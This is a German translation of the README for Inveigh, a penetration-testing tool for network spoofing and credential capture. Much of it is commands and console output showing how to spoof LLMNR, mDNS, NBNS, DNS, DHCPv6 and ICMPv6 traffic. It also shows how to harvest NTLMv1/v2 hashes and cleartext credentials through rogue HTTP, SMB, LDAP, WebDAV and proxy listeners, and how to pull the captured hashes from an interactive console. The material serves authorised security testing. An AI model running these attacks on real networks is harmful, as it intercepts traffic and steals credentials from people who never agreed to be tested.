
.NET IPv4/IPv6 Machine-in-the-Middle-Tool für Penetrationstester
Inveigh ist ein plattformübergreifendes .NET IPv4/IPv6 Man-in-the-Middle-Werkzeug für Penetrationstester. Dieses Repository enthält die primäre C#-Version sowie die ältere PowerShell-Version.
Inveigh führt Spoofing-Angriffe und Hash-/Credential-Erfassungen sowohl durch Paketmitschnitt als auch durch protokollspezifische Listener/Sockets durch. Die Paketmitschnitt-Methode, die die Grundlage für die ursprüngliche PowerShell-Version dieses Tools bildete, bietet die folgenden Vorteile:
Der Hauptnachteil ist die erforderliche erhöhte Zugriffsberechtigung.
In aktuellen Windows-Versionen erlauben die standardmäßig ausgeführten UDP-Dienste die Wiederverwendung von Ports. Daher bietet das Paketmitschnitt keinen Vorteil mehr, um belegte UDP-Ports zu umgehen. Die UDP-Listener von Inveigh sind alle so konfiguriert, dass sie die Portwiederverwendung nutzen.
Die C#-Version von Inveigh enthält Angriffe für die folgenden Protokolle:
Inveigh arbeitet sowohl mit IPv4 als auch IPv6, wenn das zugrunde liegende Protokoll beide unterstützt.
Die SDK-Projektdatei von Inveigh ist für .NET 3.5, 4.6.2 und 6.0 eingerichtet, wobei 6.0 die Version ist, die auch unter Linux und macOS funktioniert.
<TargetFrameworks>net35;net62;net6.0</TargetFrameworks>
sudo route -nv add -net ff02::1:2 -interface en0dotnet Inveigh.dll
Mit .NET 6.0 auf dem Zielsystem installiert
dotnet publish -r linux-x64 -f net8.0 -p:AssemblyName=inveigh
dotnet publish -r osx-x64 -f net8.0 -p:AssemblyName=inveigh
Ohne .NET 6.0 auf dem Zielsystem installiert
dotnet publish --self-contained=true -p:PublishSingleFile=true -r linux-x64 -f net8.0 -p:AssemblyName=inveigh
dotnet publish --self-contained=true -p:PublishSingleFile=true -r osx-x64 -f net8.0 -p:AssemblyName=inveigh
Die Standardparameterwerte befinden sich am Anfang von Program.cs. Ich empfehle, alles zu überprüfen und an Ihre Bedürfnisse anzupassen, bevor Sie kompilieren. Alle Aktivierungs-/Deaktivierungsparameter können mit den Werten Y/N gesetzt werden.```
//begin parameters - set defaults as needed before compile
public static string argCert = "MIIKaQIBAzCCC..."
public static string argCertPassword = "password";
public static string argChallenge = "";
public static string argConsole = "5";
public static string argConsoleLimit = "-1";
public static string argConsoleStatus = "0";
public static string argConsoleUnique = "Y";
public static string argDHCPv6 = "N";
public static string argDHCPv6TTL = "30";
public static string argDNS = "Y";
...
//end parameters
### Parameter Hilfe```
.\Inveigh.exe -?
Control:
-Inspect Default=Disabled: (Y/N) inspect traffic only.
-IPv4 Default=Enabled: (Y/N) IPv4 spoofing/capture.
-IPv6 Default=Enabled: (Y/N) IPv6 spoofing/capture.
-RunCount Default=Unlimited: Number of NetNTLM captures to perform before auto-exiting.
-RunTime Default=Unlimited: Run time duration in minutes.
Output:
-Console Default=5: Set the level for console output. (0=none, 1=only captures/spoofs, 2=no disabled, no informational, 3=no disabled, no filtered, 4=no disabled, 5=all)
-ConsoleLimit Default=Unlimited: Limit to queued console entries.
-ConsoleStatus Default=Disabled: Interval in minutes for auto-displaying capture details.
-ConsoleUnique Default=Enabled: (Y/N) displaying only unique (user and system combination) hashes at time of capture.
-FileDirectory Default=Working Directory: Valid path to an output directory for enabled file output.
-FileOutput Default=Enabled: (Y/N) real time file output.
-FilePrefix Default=Inveigh: Prefix for all output files.
-FileUnique Default=Enabled: (Y/N) outputting only unique (user and system combination) hashes.
-LogOutput Default=Disabled: (Y/N) outputting log entries.
Spoofers:
-DHCPV6 Default=Disabled: (Y/N) DHCPv6 spoofing.
-DHCPv6TTL Default=300: Lease lifetime in seconds.
-DNS Default=Enabled: (Y/N) DNS spoofing.
-DNSHost Fully qualified hostname to use SOA/SRV responses.
-DNSSRV Default=LDAP: Comma separated list of SRV request services to answer.
-DNSSuffix DNS search suffix to include in DHCPv6/ICMPv6 responses.
-DNSTTL Default=30: DNS TTL in seconds.
-DNSTYPES Default=A: (A, AAAA, SOA, SRV) Comma separated list of DNS types to spoof.
-ICMPv6 Default=Enabled: (Y/N) sending ICMPv6 router advertisements.
-ICMPv6Interval Default=200: ICMPv6 RA interval in seconds.
-ICMPv6TTL Default=300: ICMPv6 TTL in seconds.
-IgnoreDomains Default=None: Comma separated list of domains to ignore when spoofing.
-IgnoreIPs Default=Local: Comma separated list of source IP addresses to ignore when spoofing.
-IgnoreMACs Default=Local: Comma separated list of MAC addresses to ignore when DHCPv6 spoofing.
-IgnoreQueries Default=None: Comma separated list of name queries to ignore when spoofing.
-Local Default=Disabled: (Y/N) performing spoofing attacks against the host system.
-LLMNR Default=Enabled: (Y/N) LLMNR spoofing.
-LLMNRTTL Default=30: LLMNR TTL in seconds.
-MAC Local MAC address for DHCPv6.
-MDNS Default=Enabled: (Y/N) mDNS spoofing.
-MDNSQuestions Default=QU,QM: Comma separated list of question types to spoof. (QU,QM)
-MDNSTTL Default=120: mDNS TTL in seconds.
-MDNSTypes Default=A: Comma separated list of mDNS record types to spoof. (A,AAAA,ANY)
-MDNSUnicast Default=Enabled: (Y/N) sending a unicast only response to a QM request.
-NBNS Default=Disabled: (Y/N) NBNS spoofing.
-NBNSTTL Default=165: NBNS TTL in seconds.
-NBNSTypes Default=00,20: Comma separated list of NBNS types to spoof. (00,03,20,1B)
-ReplyToDomains Default=All: Comma separated list of domains to respond to when spoofing.
-ReplyToIPs Default=All: Comma separated list of source IP addresses to respond to when spoofing.
-ReplyToMACs Default=All: Comma separated list of MAC addresses to respond to when DHCPv6 spoofing.
-ReplyToQueries Default=All: Comma separated list of name queries to respond to when spoofing.
-SpooferIP Default=Autoassign: IP address included in spoofing responses.
-SpooferIPv6 Default=Autoassign: IPv6 address included in spoofing responses.
-Repeat Default=Enabled: (Y/N) repeated spoofing attacks against a system after NetNTLM capture.
Capture:
-Cert Base64 certificate for TLS.
-CertPassword Base64 certificate password for TLS.
-Challenge Default=Random per request: 16 character hex NetNTLM challenge for use with the TCP listeners.
-HTTP Default=Enabled: (Y/N) HTTP listener.
-HTTPAuth Default=NTLM: (Anonymous/Basic/NTLM) HTTP/HTTPS listener authentication.
-HTTPPorts Default=80: Comma seperated list of TCP ports for the HTTP listener.
-HTTPRealm Default=ADFS: Basic authentication realm.
-HTTPResponse Content to serve as the default HTTP/HTTPS/Proxy response.
-HTTPS Default=Enabled: (Y/N) HTTPS listener.
-HTTPSPorts Default=443: Comma separated list of TCP ports for the HTTPS listener.
-IgnoreAgents Default=Firefox: Comma separated list of HTTP user agents to ignore with wpad and proxy auth.
-LDAP Default=Enabled: (Y/N) LDAP listener.
-LDAPPorts Default=389: Comma separated list of TCP ports for the LDAP listener.
-ListenerIP Default=Any: IP address for all listeners.
-ListenerIPv6 Default=Any: IPv6 address for all listeners.
-MachineAccount Default=Enabled: (Y/N) machine account NetNTLM captures.
-Proxy Default=Disabled: (Y/N) proxy listener authentication captures.
-ProxyAuth Default=NTLM: (Basic/NTLM) Proxy authentication.
-ProxyPort Default=8492: Port for the proxy listener.
-SMB Default=Enabled: (Y/N) SMB sniffer/listener.
-SMBPorts Default=445: Port for the SMB listener.
-SnifferIP Default=Autoassign: IP address included in spoofing responses.
-SnifferIPv6 Default=Autoassign: IPv6 address included in spoofing responses.
-WebDAV Default=Enabled: (Y/N) serving WebDAV over HTTP/HTTPS listener.
-WebDAVAuth Default=NTLM: (Anonymous/Basic/NTLM) WebDAV authentication.
-WPADAuth Default=Enabled: (Y/N) authentication type for wpad.dat requests. (Anonymous/Basic/NTLM)
-WPADResponse Default=Autogenerated: Contents of wpad.dat responses.
.\Inveigh.exe [] Inveigh 2.0 [Started 2021-06-15T00:08:37 | PID 12588] [+] Packet Sniffer Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2] [+] Listener Addresses [IP 0.0.0.0 | IPv6 ::] [+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2] [+] Spoofer Options [Repeat Enabled | Local Attacks Disabled] [-] DHCPv6 [+] DNS Packet Sniffer [Type A] [-] ICMPv6 [+] LLMNR Packet Sniffer [Type A] [-] MDNS [-] NBNS [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80] [-] HTTPS [+] WebDAV [WebDAVAuth NTLM] [-] Proxy [+] LDAP Listener [Port 389] [+] SMB Packet Sniffer [Port 445] [+] File Output [C:\Users\dev\source\repos\Inveigh\Inveigh\bin\Debug\net35] [+] Previous Session Files [Imported] [] Press ESC to enter/exit interactive console
### Listener Only Mode (deaktivierter Paket-Sniffer)```
.\Inveigh.exe -sniffer n
[*] Inveigh 2.0 [Started 2021-06-14T10:48:16 | PID 20368]
[-] Packet Sniffer
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c43e:ed4e%2]
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[-] DHCPv6
[+] DNS Listener [Type A]
[-] ICMPv6
[+] LLMNR Listener [Type A]
[-] MDNS
[-] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[-] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[-] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Listener [Port 445]
[+] File Output [C:\Users\dev\source\repos\InveighZero\Inveigh\bin\Debug\net35]
[+] Previous Session Files [Imported]
[*] Press ESC to enter/exit interactive console
[!] Failed to start SMB listener on port 445, check IP and port usage.
[!] Failed to start SMB listener on port 445, check IP and port usage.
Hinweis: Bei deaktiviertem Paketsniffer versucht Inveigh, SMB-Listener für IPv4 und IPv6 zu starten. Auf den meisten Windows-Systemen ist Port 445 bereits belegt. Ignorieren Sie den Fehler oder fügen Sie -smb n hinzu.
Starten Sie DHCPv6-Spoofer und IPv6-DNS-Spoofer. Hinweis: DNS ist standardmäßig aktiviert.``` .\Inveigh.exe -dhcpv6 y ... [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53] [+] DNS Listener [Type A] ... [+] [23:03:06] DHCPv6 [solicitation] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent] [+] [23:03:06] DHCPv6 [fe80::1348:1] advertised to [00:0C:29:F0:6E:16] [+] [23:03:06] DHCPv6 [request] from fe80::bd92:a800:60d0:8deb%2(test-wks1.lab.inveigh.org) [response sent] [+] [23:03:06] DHCPv6 [fe80::1348:1] leased to [00:0C:29:F0:6E:16]
DHCPv6-Spoofer starten und DNS-Anfragen nur für die interne Domäne spoofen.```
.\Inveigh.exe -dhcpv6 y -replytodomains lab.inveigh.org
...
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
[+] DNS Listener [Type A]
...
[-] [23:10:30] DNS(A) request [test.inveigh.org] from fe80::6142:1%2 [domain ignored]
[+] [23:10:33] DNS(A) request [wpad.lab.inveigh.org] from fe80::6142:1%2 [response sent]
Starte den DHCPv6-Spoofer und sende auch ICMPv6-RA-Pakete aus.``` .\Inveigh.exe -dhcpv6 y -icmpv6 y ... [+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53] [+] DNS Listener [Type A] [+] ICMPv6 Router Advertisement [Interval 200 Seconds] ... [+] [23:12:04] ICMPv6 router advertisment sent to [ff02::1]
Starte DHCPv6-Spoofer und beantworte Anfragen vom lokalen Host.```
.\Inveigh.exe -dhcpv6 y -local y
...
[+] Spoofer Options [Repeat Enabled | Local Attacks Enabled]
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
Spoofe SRV-Anfragen zusätzlich zu A.``` .\Inveigh.exe -dnstypes A,SRV -dnshost fake.lab.inveigh.org ... [+] DNS Listener [Types A:SRV] ... [+] [23:21:05] DNS(SRV) request [_ldap._tcp.dc._msdcs.lab.inveigh.org] from fe80::242d:f99e:7534:b46f%2 [response sent]
### <a name="ICMPv6"></a>ICMPv6
Senden Sie ICMPv6-Pakete, um einen sekundären IPv6-DNS-Server in Systeme des lokalen Subnetzes einzuschleusen.```
.\Inveigh.exe -icmpv6 y
...
[+] ICMPv6 Router Advertisement [Option DNS | Interval 200 Seconds]
...
[+] [23:35:46] ICMPv6 router advertisement with DNSv6 sent to [ff02::1]
Senden Sie ICMPv6-Pakete, um ein zusätzliches DNS-Such-Suffix in lokale Subnetz-Systeme zu injizieren.``` .\Inveigh.exe -icmpv6 y -dnssuffix inveigh.net ... [+] ICMPv6 Router Advertisement [Option DNS Suffix | Interval 200 Seconds] ... [+] [23:41:17] ICMPv6 router advertisement with DNS Suffix sent to [ff02::1]
### <a name="LLMNR"></a>LLMNR
Spoofe AAAA-Anfragen statt A.```
.\Inveigh.exe -llmnrtypes AAAA
...
[+] LLMNR Listener [Type AAAA]
...
[-] [23:23:38] LLMNR(A) request [test] from fe80::bd92:a800:60d0:8deb%2 [type ignored]
[-] [23:23:38] LLMNR(A) request [test] from 10.10.2.201 [type ignored]
[+] [23:23:38] LLMNR(AAAA) request [test] from 10.10.2.201 [response sent]
[+] [23:23:38] LLMNR(AAAA) request [test] from fe80::bd92:a800:60d0:8deb%2 [response sent]
Starte mDNS-Spoofer und sende Unicast-Antworten auf QM-Anfragen.``` .\Inveigh.exe -mdns y ... [+] MDNS Listener [Questions QU:QM | Type A] ... [+] [23:25:58] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent] [+] [23:25:58] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent] [-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from 10.10.2.201 [type ignored] [-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [type ignored]
mDNS-Spoofer starten und Multicast-Antworten auf QM-Anfragen senden.```
.\Inveigh.exe -mdns y -mdnsunicast n
...
[+] MDNS Listener [Questions QU:QM | Type A]
...
[+] [23:28:26] mDNS(QM)(A) request [test.local] from 10.10.2.201 [response sent]
[+] [23:28:26] mDNS(QM)(A) request [test.local] from fe80::bd92:a800:60d0:8deb%2 [response sent]
Starte NBNS spoofer``` .\Inveigh.exe -nbns y ... [+] NBNS Listener [Types 00:20] ... [+] [23:33:09] NBNS(00) request [TEST] from 10.10.2.201 [response sent]
### <a name="HTTP"></a>HTTP
Starte HTTP-Listener auf Port 80 (standardmäßig aktiviert)```
.\Inveigh.exe
...
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
...
Starten Sie HTTP-Listener auf mehreren Ports``` .\Inveigh.exe -httpports 80,8080 ... [+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Ports 80:8080] ...
### <a name="HTTPS"></a>HTTPS
Starte HTTPS-Listener auf Port 443 mit Inveighs Standardzertifikat```
.\Inveigh.exe -https y
...
[+] HTTPS Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 443]
...
SMB-Paket-Sniffer starten (standardmäßig aktiviert)``` .\Inveigh.exe ... [+] SMB Packet Sniffer [Port 445] ...
Starten SMB Listener auf Port 445```
.\Inveigh.exe -sniffer n
...
[+] SMB Listener [Port 445]
...
LDAP-Listener auf Port 389 starten``` .\Inveigh.exe ... [+] LDAP Listener [Port 389] ...
### <a name="WebDAV"></a>WebDAV
Starte den HTTP-Listener mit WebDAV-Unterstützung (standardmäßig aktiviert)```
.\Inveigh.exe
...
[+] WebDAV [WebDAVAuth NTLM]
...
Aktiviere die Proxy-Authentifizierungserfassung auf Port 8492``` .\Inveigh.exe -proxy y ... [+] Proxy Listener [ProxyAuth NTLM | Port 8492] ...
## Konsole
Inveigh enthält eine Konsole, die während der Ausführung des Tools zugänglich ist (Drücken Sie Escape, um sie zu öffnen und zu schließen). Die Konsole bietet einfachen Zugriff auf erfasste Anmeldeinformationen/Hashes und andere verschiedene Informationen. Die Eingabeaufforderung der Konsole liefert Echtzeit-Updates für Klartext-, NTLMv1- und NTLMv2-Erfassungszahlen im Format unique:total. Hinweis: Die Konsole ist möglicherweise nicht zugänglich, wenn sie über C2 ausgeführt wird.
### Interaktive Konsolenhilfe - geben Sie ? oder HELP ein```
=============================================== Inveigh Console Commands ===============================================
Command Description
========================================================================================================================
GET CONSOLE | get queued console output
GET DHCPv6Leases | get DHCPv6 assigned IPv6 addresses
GET LOG | get log entries; add search string to filter results
GET NTLMV1 | get captured NTLMv1 hashes; add search string to filter results
GET NTLMV2 | get captured NTLMv2 hashes; add search string to filter results
GET NTLMV1UNIQUE | get one captured NTLMv1 hash per user; add search string to filter results
GET NTLMV2UNIQUE | get one captured NTLMv2 hash per user; add search string to filter results
GET NTLMV1USERNAMES | get usernames and source IPs/hostnames for captured NTLMv1 hashes
GET NTLMV2USERNAMES | get usernames and source IPs/hostnames for captured NTLMv2 hashes
GET CLEARTEXT | get captured cleartext credentials
GET CLEARTEXTUNIQUE | get unique captured cleartext credentials
GET REPLYTODOMAINS | get ReplyToDomains parameter startup values
GET REPLYTOIPS | get ReplyToIPs parameter startup values
GET REPLYTOMACS | get ReplyToMACs parameter startup values
GET REPLYTOQUERIES | get ReplyToQueries parameter startup values
GET IGNOREDOMAINS | get IgnoreDomains parameter startup values
GET IGNOREIPS | get IgnoreIPs parameter startup values
GET IGNOREMACS | get IgnoreMACs parameter startup values
GET IGNOREQUERIES | get IgnoreQueries parameter startup values
SET CONSOLE | set Console parameter value
HISTORY | get command history
RESUME | resume real time console output
STOP | stop Inveigh
Die Konsoleneingabeaufforderung enthält Echtzeit-Erfassungszahlen.``` C(0:0) NTLMv1(0:0) NTLMv2(0:0)>
Klartext(unique:total) NTLMv1(unique:total) NTLMv2(unique:total)
## Quiddity
Die von Inveigh verwendete Protokollbibliothek befindet sich [hier](https://github.com/Kevin-Robertson/Quiddity).
## Besonderer Dank
* Responder - https://github.com/lgandx/Responder
* Impacket - https://github.com/SecureAuthCorp/impacket
* mitm6 - https://github.com/fox-it/mitm6